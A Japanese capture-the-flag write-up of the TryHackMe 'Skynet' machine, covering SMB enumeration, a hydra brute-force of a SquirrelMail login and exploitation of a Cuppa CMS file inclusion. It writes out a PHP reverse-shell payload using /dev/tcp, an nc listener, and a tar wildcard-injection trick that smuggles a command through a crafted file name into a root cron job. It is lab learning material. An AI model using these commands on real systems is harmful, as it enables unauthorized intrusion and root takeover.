Tryhackme Writeup Skynet
Skynet
今回のターゲット
TryhackMeのSkynet というMachineを攻略していきます。
※どこかで見たような会社とキャラクターですね。。。w
まずはNmap!
nmap -T4 -A -Pn -v TargetIP
使用中のサービスで気になるのは”Samba”ですかね。
Enum4linuxでsamba環境を列挙
enum4linux -U -S TargetIP
-U get userlist
-S get sharelist
enum4linuxはWindowsとSambaシステムから情報を列挙するためのツールです。
列挙結果を見てみると、"Anonymous"というshareがあるようなのでsmbclientを使ってアクセスしてみます。
smbclient //10.10.154.152/anonymous
attention.txt中身:
log1.txt
なんかのパスワード??
gobusterで列挙
タスクによるとMaliパスワードを求められていますので、めぼしいパスがないか列挙します。
※Gobuster is a tool used to brute-force:
URIs (directories and files) in web sites.
DNS subdomains (with wildcard support).
gobuster dir -u http://targetIp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
dir:ディレクトリ検索
-u:対象のURLを指定
-w:ワードリストを指定
-t:同時スレッド数を指定(デフォルト:10)
/sequirrelmailが怪しい!ってことでアクセスしてみると。。
login formに繋がりました!
hydraでbrute force
hydra -l milesdyson -P log1.txt targetIP http-form-post "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:Unknown user or password incorrect."
パスワードが見つかりました。
これを使ってログインしてみましょう。
milesさんのメールの中身をあさってみます。
するとSambaのパスワード通知らしきタイトルが。
びんご!
milesさんのsambaパスワードを入手できましたのでこれで再度smbclientを使って、
milesdysonのshareに入ります。
smbclient //targetIP/milesdyson --user=milesdyson
なんかいっぱいありますが。。。
important.txt が怪しい??
Add features to beta CMS /45kra24zxs28v3yd
とありますので、このディレクトリにアクセスしてみます。
!!!
なんかでたw
もう一度gobuster!
上の情報だけだと何も分からないので、gobusterを再度かけてみます。
CMSってメモにもあったのでログインページがあるかもしれません。
CuppaというCMSを利用しているようです。
Searchsploitで検索
上記を試してみます。
※上記表示は一部のみ
exploitdbに記載あるとおりコマンドが実効されたのを確認できたので、これを使ってリバースシェルを張ります。
リバースシェル用のphpファイルを作成します。
<?php
exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/LocalIP/1234 0>&1'");
?>
pythonでwebサーバを立て、シェル用のファイルを流し込みます。
python -m SimpleHTTPServer
上記と同時に、
nc -lvnp 1234
リバースシェルを待ち受けます。
URL入力窓に先ほどのコードを入力すると、シェルを獲得することができます。
特権昇格
ここまででUser.txtは獲得できますので、最後のRoot.txt獲得のため、特権昇格を目指します。(筆者はここで挫折してしまい、カンニングをしてしまいました。。さんぽしさんありがとうございます!(https://sanposhiho.com/posts/2020-05-06-qiita-35317a3c8b0677ee3713/))
今回の特権昇格には、cronjobを使います。
crontabを確認すると。。。
backupを行ってそうな.shファイルを確認できますね。
ワイルドカード * を使っています。
この場合下記リンクの情報によると、
https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/
–checkpoint=1や --checkpoint-action=exec=sh shell.sh などの名前のファイルを作成しておくと、特定のコマンドでのワイルドカードの使用時にオプションとして理解されてしまうとのことです。
shell.shを作成し、chmod 777 /root と書き込みましょう。
続いて、–checkpoint-action=exec=sh shell.shを作成しておきます。
あとはcronjobが実行されるのを待ちます。
cd /root
が実行できればroot.txtの中身を見ることができます。
まとめ
初WriteUpdeでしたがかなり勉強になりました。
何気なく使っているコマンドの意味、オプションの使い方を復讐できていいですね。
OSCPコースのマシンはwriteup書いてみようと思います。